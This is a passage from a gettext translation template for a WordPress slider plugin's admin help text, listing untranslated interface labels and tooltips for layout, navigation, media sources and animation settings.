mouse over the element" msgstr "" #: admin/includes/help.class.php:4682 msgid "" "Choose if the page and its contents should be scrolled when swiping " "vertically" msgstr "" #: admin/includes/help.class.php:2426 msgid "" "Choose if the Parallax/3D effects should happen on mouse move, page scroll " "or both" msgstr "" #: admin/includes/help.class.php:3034 msgid "" "Choose if the progress bar should appear at the top or bottom of the Slider" msgstr "" #: admin/includes/help.class.php:2499 msgid "" "Choose if the Slide's main background image should be included for the 3D " "effect" msgstr "" #: admin/includes/help.class.php:2515 msgid "" "Choose if the Slider's main background can bleed outside the Slider's " "bounding box when skewed in 3D space" msgstr "" #: admin/includes/help.class.php:3763 msgid "" "Choose if the tabs should appear inside or outside the Slider's main content " "area" msgstr "" #: admin/includes/help.class.php:4244 msgid "" "Choose if the thumbs should appear inside or outside the Slider's main " "content area" msgstr "" #: admin/includes/help.class.php:6050 msgid "" "Choose if the video should be loaded from YouTube, Vimeo or locally (HTML5)" msgstr "" #: admin/includes/help.class.php:3943 admin/includes/help.class.php:4424 msgid "Choose if the wrapper should be displayed as a block or an inline-block" msgstr "" #: admin/includes/help.class.php:5568 msgid "" "Choose of the Slide link should be placed behind or above the Slide's Layer " "content" msgstr "" #: admin/includes/help.class.php:1327 msgid "Choose the Facebook Album to be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:10511 msgid "" "Choose the Layer's default animation behavior in relation to the selected " "Action" msgstr "" #: admin/includes/help.class.php:854 msgid "" "Choose the maximum number of Posts that should be included in the Slider" msgstr "" #: admin/includes/help.class.php:6461 msgid "" "Choose the number of columns and their colspan for the selected row" msgstr "" #: admin/includes/help.class.php:822 msgid "Choose the order in which the posts should appear in the Slider" msgstr "" #: admin/includes/help.class.php:1437 msgid "Choose the playlist to pull in from the YouTube account" msgstr "" #: admin/includes/help.class.php:5416 msgid "" "Choose the published state of the Slide. Choose 'Unpublished' to work on " "the Slide in a draft status." msgstr "" #: admin/includes/help.class.php:10141 msgid "" "Choose to animate the Layer's animation timeline as the Module scrolls into " "and out of view" msgstr "" #: admin/includes/help.class.php:1424 msgid "Choose to include videos from a YouTube Playlist or Channel" msgstr "" #: admin/includes/help.class.php:1633 admin/includes/help.class.php:10722 msgid "" "Choose to resize the Layer's inner HTML elements if the Layer includes " "custom HTML" msgstr "" #: admin/includes/help.class.php:7169 msgid "" "Choose to set the Layer's width/height as full-width, full-height. " "'Stretch' will be 100% width/height, 'Cover' will maintain aspect ratio." msgstr "" #: admin/includes/help.class.php:4749 msgid "Choose to use left/right keys or up/down keys to change Slides" msgstr "" #: admin/includes/help.class.php:10184 msgid "Choose which Action should occur when the user interacts with the Layer" msgstr "" #: admin/includes/help.class.php:8187 msgid "Choose which direction the chars/words/lines should be animated in" msgstr "" #: admin/includes/help.class.php:8006 msgid "Choose which direction the Clip Path should move to" msgstr "" #: admin/includes/help.class.php:4777 msgid "" "Choose which direction the mouse wheel should be scrolled to change Slides" msgstr "" #: admin/includes/help.class.php:6566 msgid "" "Choose which HTML tag should be used for the Layer. Useful for SEO purposes" msgstr "" #: admin/includes/help.class.php:10494 msgid "Choose which Layer to target for the Layer Action" msgstr "" #: admin/includes/help.class.php:8738 msgid "" "Choose which point in the Layer's timeline it should begin from for the loop " "animation" msgstr "" #: admin/includes/help.class.php:8754 msgid "" "Choose which point in the Layer's timeline it should play to before it " "animates again" msgstr "" #: admin/includes/help.class.php:789 msgid "Choose which Post Categories to include in the Slider" msgstr "" #: admin/includes/help.class.php:773 msgid "Choose which Post Types to include in the Slider" msgstr "" #: admin/includes/help.class.php:1314 msgid "Choose which type of Facebook content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:1009 msgid "Choose which type of Flickr content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:1114 msgid "Choose which type of Instagram content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:757 msgid "Choose which type of posts should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:1481 msgid "Choose which type of Vimeo content should be pulled into the Slider" msgstr "" #: admin/includes/help.class.php:6474 msgid "Choose which viewport the rows should collapse into single columns" msgstr "" #: admin/includes/help.class.php:1880 msgid "Chose when the Slider's progress should stop/pause" msgstr "" #: admin/includes/help.class.php:8003 msgid "Clip Path Origin" msgstr "" #: admin/includes/help.class.php:7986 msgid "Clip Path Type" msgstr "" #: admin/includes/help.class.php:8020 msgid "Clip Percentage" msgstr "" #: admin/includes/help.class.php:3908 msgid "Color" msgstr "" #: admin/includes/help.class.php:6458 msgid "Column Structure" msgstr "" #: admin/includes/help.class.php:1217 msgid "Consumer Key" msgstr "" #: admin/includes/help.class.php:1230 msgid "Consumer Secret" msgstr "" #: admin/includes/help.class.php:73 msgid "Content Size/Position" msgstr "" #: admin/includes/help.class.php:1866 msgid "" "Continuously loop a Slide's animations when the Slider contains only one " "slide" msgstr "" #: admin/includes/help.class.php:6325 msgid "Controls" msgstr "" #: admin/includes/help.class.php:6541 msgid "CSS Clear" msgstr "" #: admin/includes/help.class.php:6527 msgid "CSS Display" msgstr "" #: admin/includes/help.class.php:6534 msgid "CSS Float" msgstr "" #: admin/includes/help.class.php:3662 admin/includes/help.class.php:4143 msgid "CSS Styling" msgstr "" #: admin/includes/help.class.php:9680 msgid "Cursor Type" msgstr "" #: admin/includes/help.class.php:4920 msgid "Custom Alt Attribute" msgstr "" #: admin/includes/help.class.php:658 msgid "Custom Content" msgstr "" #: admin/includes/help.class.php:2917 msgid "Custom CSS" msgstr "" #: admin/includes/help.class.php:2925 msgid "Custom JavaScript" msgstr "" #: admin/includes/help.class.php:4950 msgid "Custom Title Attribute" msgstr "" #: admin/includes/help.class.php:6750 msgid "Dash-Array" msgstr "" #: admin/includes/help.class.php:6763 msgid "Dash-Array Offset" msgstr "" #: admin/includes/help.class.php:5476 msgid "Data Attributes" msgstr "" #: admin/includes/help.class.php:2907 msgid "Debug Mode" msgstr "" #: admin/includes/help.class.php:2182 msgid "" "Decide how the items should be aligned horizontally inside the Slide " "container" msgstr "" #: admin/includes/help.class.php:2195 msgid "" "Decide how the items should be aligned vertically inside the Slide container" msgstr "" #: admin/includes/help.class.php:1580 msgid "Default BG Position" msgstr "" #: admin/includes/help.class.php:1596 msgid "Default BG Repeat" msgstr "" #: admin/includes/help.class.php:1588 msgid "Default Image Fit" msgstr "" #: admin/includes/help.class.php:1572 msgid "Default Image Size" msgstr "" #: admin/includes/help.class.php:4984 msgid "Define a custom height attribute for external image urls" msgstr "" #: admin/includes/help.class.php:4971 msgid "Define a custom width attribute for external image urls" msgstr "" #: admin/includes/help.class.php:2580 msgid "" "Define a depth for each of the 15 options, which can then be assigned to any " "given Layer" msgstr "" #: admin/includes/help.class.php:10818 msgid "" "Define an optional ID for the Layer to target it with custom CSS/JavaScript" msgstr "" #: admin/includes/help.class.php:10883 msgid "" "Define an optional ID for the Layer's outer-most wrapper to target it with " "custom CSS/JavaScript." msgstr "" #: admin/includes/help.class.php:68 msgid "Define custom grid widths and heights per device/viewport" msgstr "" #: admin/includes/help.class.php:4910 msgid "" "Define the 'alt' attribute for the Slide's main background image. Useful " "for SEO purposes." msgstr "" #: admin/includes/help.class.php:4940 msgid "" "Define the 'title' attribute for the Slide's main background image. Useful " "for screen readers." msgstr "" #: admin/includes/help.class.php:2169 msgid "Define the CSS padding-bottom for the carousel items (px)" msgstr "" #: admin/includes/help.class.php:2156 msgid "Define the CSS padding-top for the carousel items (px)" msgstr "" #: admin/includes/help.class.php:10857 msgid "Define the Layer's 'rel' attribute" msgstr "" #: admin/includes/help.class.php:10870 msgid "Define the Layer's tab-index. Useful for defining focus on elements." msgstr "" #: admin/includes/help.class.php:10844 msgid "Define the Layer's title attribute" msgstr "" #: admin/includes/help.class.php:2143 msgid "Define the spacing between the carousel items (px)" msgstr "" #: admin/includes/help.class.php:8818 msgid "Define when the loop animation should begin after the Slide is shown" msgstr "" #: admin/includes/help.class.php:5835 msgid "Description" msgstr "" #: admin/includes/help.class.php:468 msgid "Desktop Height" msgstr "" #: admin/includes/help.class.php:452 msgid "Desktop Viewport" msgstr "" #: admin/includes/help.class.php:460 msgid "Desktop Width" msgstr "" #: admin/includes/help.class.php:5247 msgid "Dimension" msgstr "" #: admin/includes/help.class.php:6315 msgid "Disable all possible user-interaction with the video" msgstr "" #: admin/includes/help.class.php:2063 msgid "Disable Blur/Focus behavior" msgstr "" #: admin/includes/help.class.php:2788 msgid "Disable on Mobile" msgstr "" #: admin/includes/help.class.php:1947 msgid "Disable PanZoom on Mobile" msgstr "" #: admin/includes/help.class.php:2408 msgid "Disable Parallax/3D on Mobile" msgstr "" #: admin/includes/help.class.php:1939 msgid "Disable Slider on Mobile" msgstr "" #: admin/includes/help.class.php:92 msgid "Disable slider on mobile, hide layer content below screen size" msgstr "" #: admin/includes/help.class.php:2066 msgid "" "Disable Slider resizing when the user navigates away from the tab/window and " "returns to the page" msgstr "" #: admin/includes/help.class.php:2791 msgid "Disable the effects on mobile devices" msgstr "" #: admin/includes/help.class.php:1950 msgid "Disable the PanZoom effect for mobile devices" msgstr "" #: admin/includes/help.class.php:2411 msgid "Disable the Parallax/3D effects for mobile devices" msgstr "" #: admin/includes/help.class.php:2364 msgid "Display a spinner animation when the Module first loads" msgstr "" #: admin/includes/help.class.php:6328 msgid "Display controls in the video/audio player" msgstr "" #: admin/includes/help.class.php:2910 msgid "" "Display debug information on the Slider to help show issues during " "development" msgstr "" #: admin/includes/help.class.php:3398 msgid "" "Display the bullets next to one another (horizontal) or on top of one " "another (vertical)" msgstr "" #: admin/includes/help.class.php:302 msgid "Display the Slider 100% width across the page" msgstr "" #: admin/includes/help.class.php:284 msgid "Display the Slider as a traditional Carousel" msgstr "" #: admin/includes/help.class.php:311 msgid "Display the Slider at 100% width and height" msgstr "" #: admin/includes/help.class.php:3731 msgid "" "Display the tabs next to one another (horizontal) or on top of one another " "(vertical)" msgstr "" #: admin/includes/help.class.php:4212 msgid "" "Display the thumbs next to one another (horizontal) or on top of one another " "(vertical)" msgstr "" #: admin/includes/help.class.php:12 msgid "Docs" msgstr "" #: admin/includes/help.class.php:25 msgid "Documentation" msgstr "" #: admin/includes/help.class.php:435 msgid "Don't Force Fullwidth" msgstr "" #: admin/includes/help.class.php:5076 admin/includes/help.class.php:6177 msgid "Dotted Overlay" msgstr "" #: admin/includes/help.class.php:4679 msgid "Drag Block Vertical" msgstr "" #: admin/includes/help.class.php:1660 admin/includes/help.class.php:5793 msgid "Duration" msgstr "" #: admin/includes/help.class.php:1649 admin/includes/help.class.php:2207 #: admin/includes/help.class.php:5777 msgid "Easing" msgstr "" #: admin/includes/help.class.php:149 msgid "Edit Content Layers" msgstr "" #: admin/includes/help.class.php:152 msgid "Edit text, images, videos, styles, position and size for your content" msgstr "" #: admin/includes/help.class.php:2395 msgid "Enable 3D Effects" msgstr "" #: admin/includes/help.class.php:2266 msgid "Enable 3D Rotation" msgstr "" #: admin/includes/help.class.php:3066 msgid "Enable Arrows" msgstr "" #: admin/includes/help.class.php:1845 msgid "Enable autoplay for the Slider to automatically change between slides" msgstr "" #: admin/includes/help.class.php:7303 msgid "Enable Box Shadow" msgstr "" #: admin/includes/help.class.php:3349 msgid "Enable Bullets" msgstr "" #: admin/includes/help.class.php:3352 msgid "Enable Bullets for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:7973 msgid "Enable Clip Path" msgstr "" #: admin/includes/help.class.php:3681 msgid "Enable custom styling overrides for the bullets" msgstr "" #: admin/includes/help.class.php:4162 msgid "Enable custom styling overrides for the tabs" msgstr "" #: admin/includes/help.class.php:8040 admin/includes/help.class.php:8483 #: admin/includes/help.class.php:8557 admin/includes/help.class.php:8631 msgid "Enable Filter Animation" msgstr "" #: admin/includes/help.class.php:4733 msgid "Enable Keyboard Navigation" msgstr "" #: admin/includes/help.class.php:7925 msgid "Enable Layer Mask" msgstr "" #: admin/includes/help.class.php:3069 msgid "Enable left/right Arrows for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:4736 msgid "Enable left/right/up/down keys to control the Slider" msgstr "" #: admin/includes/help.class.php:4761 msgid "Enable Mouse Scroll" msgstr "" #: admin/includes/help.class.php:4764 msgid "Enable mouse scrolling to control Slide changes" msgstr "" #: admin/includes/help.class.php:60 msgid "Enable multiple stage sizes for custom set responsive content" msgstr "" #: admin/includes/help.class.php:1641 admin/includes/help.class.php:5582 msgid "Enable PanZoom" msgstr "" #: admin/includes/help.class.php:2386 msgid "Enable Parallax/3D Effects" msgstr "" #: admin/includes/help.class.php:3002 msgid "Enable Progress Bar" msgstr "" #: admin/includes/help.class.php:2312 msgid "Enable Scaling" msgstr "" #: admin/includes/help.class.php:5491 msgid "Enable Slide Link" msgstr "" #: admin/includes/help.class.php:7492 admin/includes/help.class.php:7537 msgid "Enable Spike Masks" msgstr "" #: admin/includes/help.class.php:3698 msgid "Enable Tabs" msgstr "" #: admin/includes/help.class.php:3701 msgid "Enable Tabs for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:7396 msgid "Enable Text Shadow" msgstr "" #: admin/includes/help.class.php:8171 msgid "Enable Text-Split Animations" msgstr "" #: admin/includes/help.class.php:481 msgid "Enable the Laptop responsive viewport" msgstr "" #: admin/includes/help.class.php:1644 msgid "Enable the PanZoom effect by default for newly created Slides" msgstr "" #: admin/includes/help.class.php:5585 msgid "Enable the PanZoom effect by default for this Slide" msgstr "" #: admin/includes/help.class.php:2398 msgid "Enable the Parallax/3D effect engine for the Slider" msgstr "" #: admin/includes/help.class.php:533 msgid "Enable the Phone responsive viewport" msgstr "" #: admin/includes/help.class.php:2389 msgid "Enable the special effects engine for the Slider" msgstr "" #: admin/includes/help.class.php:507 msgid "Enable the Tablet responsive viewport" msgstr "" #: admin/includes/help.class.php:4179 msgid "Enable Thumbnails" msgstr "" #: admin/includes/help.class.php:4182 msgid "Enable Thumbnails for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:4653 msgid "Enable Touch Swipe" msgstr "" #: admin/includes/help.class.php:4666 msgid "Enable Touch Swipe for Desktop" msgstr "" #: admin/includes/help.class.php:4669 msgid "" "Enable touch swiping on Desktop computers to navigate to the previous/next " "slides" msgstr "" #: admin/includes/help.class.php:4656 msgid "Enable touch swiping to navigate to the previous/next slides" msgstr "" #: admin/includes/help.class.php:1792 msgid "Enable Viewport Stop" msgstr "" #: admin/includes/help.class.php:10154 msgid "" "Enable/Disable filter effects for the Layer as the Module scrolls into and " "out of view. Filter effects applied via the Module Settings" msgstr "" #: admin/includes/help.class.php:193 msgid "Enable/Disable Navigation" msgstr "" #: admin/includes/help.class.php:1707 admin/includes/help.class.php:5662 msgid "End Position X" msgstr "" #: admin/includes/help.class.php:1729 admin/includes/help.class.php:5694 msgid "End Position Y" msgstr "" #: admin/includes/help.class.php:9474 msgid "End rotate2D" msgstr "" #: admin/includes/help.class.php:9406 msgid "End rotateX" msgstr "" #: admin/includes/help.class.php:9440 msgid "End rotateY" msgstr "" #: admin/includes/help.class.php:9251 msgid "End scaleX" msgstr "" #: admin/includes/help.class.php:9285 msgid "End scaleY" msgstr "" #: admin/includes/help.class.php:9319 msgid "End skewX" msgstr "" #: admin/includes/help.class.php:9353 msgid "End skewY" msgstr "" #: admin/includes/help.class.php:5196 admin/includes/help.class.php:6429 msgid "End the video at this time (minutes:seconds, such as 01:30)" msgstr "" #: admin/includes/help.class.php:5193 admin/includes/help.class.php:6426 msgid "End Time" msgstr "" #: admin/includes/help.class.php:8948 msgid "End X Position" msgstr "" #: admin/includes/help.class.php:8982 msgid "End Y Position" msgstr "" #: admin/includes/help.class.php:9016 msgid "End Z Position" msgstr "" #: admin/includes/help.class.php:7639 msgid "End/Out Animation: To" msgstr "" #: admin/includes/help.class.php:5105 msgid "" "Ensures that the video will be displayed full-width and full-height " "regardless of its aspect ratio" msgstr "" #: admin/includes/help.class.php:4953 msgid "" "Enter a custom title for the Slide's main background image. Useful for " "screen readers." msgstr "" #: admin/includes/help.class.php:805 msgid "" "Enter a list of Post ID's to include in the Slider, or select " "'Popular/Recent' to populate the list automatically" msgstr "" #: admin/includes/help.class.php:5861 msgid "" "Enter a specific amount of times the Slide's timeeline should loop or use " "'unlimited' to loop continusously until the Slide changes" msgstr "" #: admin/includes/help.class.php:570 msgid "" "Enter an image url or select/upload an image from the Media or Object " "Library to be used as the Slider's global background image" msgstr "" #: admin/includes/help.class.php:4923 msgid "" "Enter custom alternative text for the Slide's main background image. Useful " "for SEO purposes." msgstr "" #: admin/includes/help.class.php:1054 msgid "Enter the absolute URL of the flickr gallery you wish to include" msgstr "" #: admin/includes/help.class.php:1070 msgid "Enter the absolute URL of the flickr group irl you wish to include" msgstr "" #: admin/includes/help.class.php:1410 msgid "Enter the channel ID of the YouTube account" msgstr "" #: admin/includes/help.class.php:1494 msgid "" "Enter the username, album ID, group name or channel name of the Vimeo " "account to use as the stream" msgstr "" #: admin/includes/help.class.php:1300 msgid "Enter your Facebook Page URL for the API query" msgstr "" #: admin/includes/help.class.php:995 msgid "" "Enter your Flickr API key. Learn more" msgstr "" #: admin/includes/help.class.php:1022 msgid "Enter your Flickr user URL for the API query" msgstr "" #: admin/includes/help.class.php:1127 msgid "Enter your Instagram User Name for the API query" msgstr "" #: admin/includes/help.class.php:1168 msgid "Enter your Twitter User Name/Handle for the API query" msgstr "" #: admin/includes/help.class.php:1397 msgid "" "Enter your YouTube API key. Learn " "more" msgstr "" #: admin/includes/help.class.php:10615 msgid "Enter/Exit Fullscreen" msgstr "" #: admin/includes/help.class.php:4981 msgid "External Image Height" msgstr "" #: admin/includes/help.class.php:4813 msgid "External Image URL" msgstr "" #: admin/includes/help.class.php:4968 msgid "External Image Width" msgstr "" #: admin/includes/help.class.php:712 msgid "Facebook" msgstr "" #: admin/includes/help.class.php:2651 msgid "Fade" msgstr "" #: admin/includes/help.class.php:5907 msgid "Fade Effect" msgstr "" #: admin/includes/help.class.php:2236 msgid "Fade Items" msgstr "" #: admin/includes/help.class.php:5910 msgid "Fade Layers in and out as the page scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:2654 msgid "Fade the Slider out when it scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:29 msgid "FAQs" msgstr "" #: admin/includes/help.class.php:951 msgid "Featured Only" msgstr "" #: admin/includes/help.class.php:754 msgid "Fetch By" msgstr "" #: admin/includes/help.class.php:10151 msgid "Filter Effect Scroll Based" msgstr "" #: admin/includes/help.class.php:2006 msgid "First Slide Animation" msgstr "" #: admin/includes/help.class.php:2027 msgid "First Slide Transition Duration" msgstr "" #: admin/includes/help.class.php:2014 msgid "First Slide Transition Type" msgstr "" #: admin/includes/help.class.php:373 msgid "Fixed on Top" msgstr "" #: admin/includes/help.class.php:685 msgid "Flickr" msgstr "" #: admin/includes/help.class.php:10262 msgid "Follow" msgstr "" #: admin/includes/help.class.php:6631 msgid "Font Family" msgstr "" #: admin/includes/help.class.php:6579 msgid "Font Size" msgstr "" #: admin/includes/help.class.php:6605 msgid "Font Weight" msgstr "" #: admin/includes/help.class.php:6657 msgid "Font-Style: Italic" msgstr "" #: admin/includes/help.class.php:5102 msgid "Force Cover" msgstr "" #: admin/includes/help.class.php:365 msgid "Force Overflow" msgstr "" #: admin/includes/help.class.php:308 msgid "Full Screen" msgstr "" #: admin/includes/help.class.php:299 msgid "Full Width" msgstr "" #: admin/includes/help.class.php:1051 msgid "Gallery URL" msgstr "" #: admin/includes/help.class.php:646 msgid "Gap (Border)" msgstr "" #: admin/includes/help.class.php:3379 msgid "Gap/Spacing" msgstr "" #: admin/includes/help.class.php:7669 msgid "Give the animation a name for editing purposes" msgstr "" #: admin/includes/help.class.php:165 msgid "Global Layers" msgstr "" #: admin/includes/help.class.php:2664 msgid "GrayScale" msgstr "" #: admin/includes/help.class.php:8070 admin/includes/help.class.php:8518 #: admin/includes/help.class.php:8592 admin/includes/help.class.php:8666 #: admin/includes/help.class.php:10096 msgid "Grayscale" msgstr "" #: admin/includes/help.class.php:5923 msgid "Grayscale Effect" msgstr "" #: admin/includes/help.class.php:9595 msgid "Grayscale End" msgstr "" #: admin/includes/help.class.php:9578 msgid "Grayscale Start" msgstr "" #: admin/includes/help.class.php:357 msgid "Grid = Module" msgstr "" #: admin/includes/help.class.php:1067 msgid "Group URL" msgstr "" #: admin/includes/help.class.php:3890 admin/includes/help.class.php:4371 msgid "Height" msgstr "" #: admin/includes/help.class.php:14 msgid "Help Directory" msgstr "" #: admin/includes/help.class.php:23 msgid "Help Mode" msgstr "" #: admin/includes/help.class.php:272 msgid "Hero Scene" msgstr "" #: admin/includes/help.class.php:3227 admin/includes/help.class.php:3542 #: admin/includes/help.class.php:4023 admin/includes/help.class.php:4504 msgid "Hide After" msgstr "" #: admin/includes/help.class.php:5386 msgid "Hide After Loop" msgstr "" #: admin/includes/help.class.php:3243 admin/includes/help.class.php:3558 #: admin/includes/help.class.php:4039 admin/includes/help.class.php:4520 msgid "Hide After: Desktop" msgstr "" #: admin/includes/help.class.php:3260 admin/includes/help.class.php:3575 #: admin/includes/help.class.php:4056 admin/includes/help.class.php:4537 msgid "Hide After: Mobile" msgstr "" #: admin/includes/help.class.php:1973 msgid "Hide All Layers Under" msgstr "" #: admin/includes/help.class.php:1976 msgid "Hide all Layers under when the window is below this number" msgstr "" #: admin/includes/help.class.php:1965 msgid "Hide Marked Layers" msgstr "" #: admin/includes/help.class.php:5398 msgid "Hide on Mobile" msgstr "" #: admin/includes/help.class.php:3312 admin/includes/help.class.php:3627 #: admin/includes/help.class.php:4108 admin/includes/help.class.php:4589 msgid "Hide Over" msgstr "" #: admin/includes/help.class.php:3328 admin/includes/help.class.php:3643 #: admin/includes/help.class.php:4124 admin/includes/help.class.php:4605 msgid "Hide Over Limit" msgstr "" #: admin/includes/help.class.php:1957 msgid "Hide Slider Under Width" msgstr "" #: admin/includes/help.class.php:3315 msgid "" "Hide the Arrows when the browser window is equal to or above a certain number" msgstr "" #: admin/includes/help.class.php:3331 msgid "" "Hide the Arrows when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:3281 msgid "" "Hide the Arrows when the browser window is equal to or below a certain number" msgstr "" #: admin/includes/help.class.php:3297 msgid "" "Hide the Arrows when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:3630 msgid "" "Hide the Bullets when the browser window is equal to or above a certain " "number" msgstr "" #: admin/includes/help.class.php:3646 msgid "" "Hide the Bullets when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:3596 msgid "" "Hide the Bullets when the browser window is equal to or below a certain " "number" msgstr "" #: admin/includes/help.class.php:3612 msgid "" "Hide the Bullets when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:10789 msgid "" "Hide the Layer when the browser window is equal to or below the value set in " "the Slider Settings" msgstr "" #: admin/includes/help.class.php:1960 msgid "Hide the Slider under a certain window width" msgstr "" #: admin/includes/help.class.php:4111 msgid "" "Hide the Tabs when the browser window is equal to or above a certain number" msgstr "" #: admin/includes/help.class.php:4127 msgid "Hide the Tabs when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:4077 msgid "" "Hide the Tabs when the browser window is equal to or below a certain number" msgstr "" #: admin/includes/help.class.php:4093 msgid "Hide the Tabs when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:4592 msgid "" "Hide the Thumbnails when the browser window is equal to or above a certain " "number" msgstr "" #: admin/includes/help.class.php:4608 msgid "" "Hide the Thumbnails when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:4558 msgid "" "Hide the Thumbnails when the browser window is equal to or below a certain " "number" msgstr "" #: admin/includes/help.class.php:4574 msgid "" "Hide the Thumbnails when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:3278 admin/includes/help.class.php:3593 #: admin/includes/help.class.php:4074 admin/includes/help.class.php:4555 msgid "Hide Under" msgstr "" #: admin/includes/help.class.php:3294 admin/includes/help.class.php:3609 #: admin/includes/help.class.php:4090 admin/includes/help.class.php:4571 msgid "Hide Under Limit" msgstr "" #: admin/includes/help.class.php:10786 msgid "Hide Under Width" msgstr "" #: admin/includes/help.class.php:2179 admin/includes/help.class.php:6499 #: admin/includes/help.class.php:7088 msgid "Horizontal Align" msgstr "" #: admin/includes/help.class.php:9719 msgid "Hover Background Color" msgstr "" #: admin/includes/help.class.php:32 msgid "Hover over any option to learn more" msgstr "" #: admin/includes/help.class.php:24 msgid "Hover your mouse over any option to learn more." msgstr "" #: admin/includes/help.class.php:224 msgid "How To Use" msgstr "" #: admin/includes/help.class.php:5023 msgid "HTML Video URL" msgstr "" #: admin/includes/help.class.php:6093 msgid "HTML5 Audio URL" msgstr "" #: admin/includes/help.class.php:6077 msgid "HTML5 Video URL" msgstr "" #: admin/includes/help.class.php:344 msgid "" "If enabled the Slider's height will always equal the viewport's breakpoint " "height" msgstr "" #: admin/includes/help.class.php:438 msgid "" "If enabled, the Module's width will remain the same as its immediate parent " "container" msgstr "" #: admin/includes/help.class.php:593 msgid "Image Fit" msgstr "" #: admin/includes/help.class.php:4827 admin/includes/help.class.php:5978 msgid "Image from Stream" msgstr "" #: admin/includes/help.class.php:6017 msgid "Image Source Size" msgstr "" #: admin/includes/help.class.php:567 admin/includes/help.class.php:5991 msgid "Image URL" msgstr "" #: admin/includes/help.class.php:5036 msgid "Image/Poster from Stream" msgstr "" #: admin/includes/help.class.php:938 msgid "In Stock Only" msgstr "" #: admin/includes/help.class.php:6361 msgid "" "Include a 'playsline' attribute with the video element. This will prevent " "the video from being taken fullscreen when it initially plays on mobile " "devices." msgstr "" #: admin/includes/help.class.php:2963 msgid "Include a background cover when the Module is loaded as a Modal" msgstr "" #: admin/includes/help.class.php:1194 msgid "Include both tweets and re-tweets in the Slider" msgstr "" #: admin/includes/help.class.php:1207 msgid "Include both tweets and replies in the Slider" msgstr "" #: admin/includes/help.class.php:6344 msgid "Include large controls for HTML5 Video Layers" msgstr "" #: admin/includes/help.class.php:1181 msgid "Include text-only Tweets (tweets that do not contain an image)" msgstr "" #: admin/includes/help.class.php:1968 msgid "" "Individual Layers that are selected to be hidden under a width will be " "hidden under this number" msgstr "" #: admin/includes/help.class.php:2075 msgid "Infinity Scroll" msgstr "" #: admin/includes/help.class.php:10667 msgid "Inherit from Desktop" msgstr "" #: admin/includes/help.class.php:1539 msgid "Initialization Delay" msgstr "" #: admin/includes/help.class.php:1816 msgid "" "Initialize/Pause the Slider when its inside this percentage of the page's " "viewport" msgstr "" #: admin/includes/help.class.php:6358 msgid "Inline Mode" msgstr "" #: admin/includes/help.class.php:3760 admin/includes/help.class.php:4241 msgid "Inner/Outer" msgstr "" #: admin/includes/help.class.php:694 msgid "Instagram" msgstr "" #: admin/includes/help.class.php:1606 admin/includes/help.class.php:10654 msgid "Intelligent Inheriting" msgstr "" #: admin/includes/help.class.php:10166 msgid "Interaction" msgstr "" #: admin/includes/help.class.php:2140 msgid "Item Spacing" msgstr "" #: admin/includes/help.class.php:2883 msgid "jQuery No Conflict Mode" msgstr "" #: admin/includes/help.class.php:10352 msgid "Jump to Slide" msgstr "" #: admin/includes/help.class.php:341 msgid "Keep Breakpoint Heights" msgstr "" #: admin/includes/help.class.php:4746 msgid "Key Arrow Direction" msgstr "" #: admin/includes/help.class.php:494 msgid "Laptop Height" msgstr "" #: admin/includes/help.class.php:478 msgid "Laptop Viewport" msgstr "" #: admin/includes/help.class.php:486 msgid "Laptop Width" msgstr "" #: admin/includes/help.class.php:6341 msgid "Large Controls" msgstr "" #: admin/includes/help.class.php:21 msgid "Layer" msgstr "" #: admin/includes/help.class.php:183 msgid "Layer Animations" msgstr "" #: admin/includes/help.class.php:10828 msgid "Layer Classes" msgstr "" #: admin/includes/help.class.php:7153 msgid "Layer Height" msgstr "" #: admin/includes/help.class.php:6563 msgid "Layer HTML Tag" msgstr "" #: admin/includes/help.class.php:10815 msgid "Layer ID" msgstr "" #: admin/includes/help.class.php:6696 msgid "Layer is Selectable" msgstr "" #: admin/includes/help.class.php:10854 msgid "Layer Rel" msgstr "" #: admin/includes/help.class.php:5937 msgid "Layer Text" msgstr "" #: admin/includes/help.class.php:10841 msgid "Layer Title" msgstr "" #: admin/includes/help.class.php:7140 msgid "Layer Width" msgstr "" #: admin/includes/help.class.php:2708 msgid "Layers" msgstr "" #: admin/includes/help.class.php:2091 msgid "" "Layers from Slides that are visible in the carousel will always be visible " "by default (Layer animations will be disabled)" msgstr "" #: admin/includes/help.class.php:89 msgid "Layers Mobile Visibility" msgstr "" #: admin/includes/help.class.php:2528 msgid "Layers Overflow Hidden" msgstr "" #: admin/includes/help.class.php:81 msgid "Layers Responsive Behavior" msgstr "" #: admin/includes/help.class.php:1547 msgid "Layers Selectable" msgstr "" #: admin/includes/help.class.php:2465 msgid "Layers Speed" msgstr "" #: admin/includes/help.class.php:2827 msgid "Layers Strength" msgstr "" #: admin/includes/help.class.php:2088 msgid "Layers Visible" msgstr "" #: admin/includes/help.class.php:2845 admin/includes/help.class.php:6004 msgid "Lazy Loading" msgstr "" #: admin/includes/help.class.php:219 msgid "Learn how to activate an AddOn for the Slider" msgstr "" #: admin/includes/help.class.php:196 msgid "Learn how to add/remove navigation elements to control the Slider" msgstr "" #: admin/includes/help.class.php:7571 msgid "Left Corner" msgstr "" #: admin/includes/help.class.php:7505 msgid "Left Spike" msgstr "" #: admin/includes/help.class.php:7521 msgid "Left Spike Width" msgstr "" #: admin/includes/help.class.php:6618 msgid "Letter Spacing" msgstr "" #: admin/includes/help.class.php:867 msgid "Limit Excerpt" msgstr "" #: admin/includes/help.class.php:5963 msgid "Line Break Behavior" msgstr "" #: admin/includes/help.class.php:6592 msgid "Line Height" msgstr "" #: admin/includes/help.class.php:5565 msgid "Link Sensibility" msgstr "" #: admin/includes/help.class.php:5533 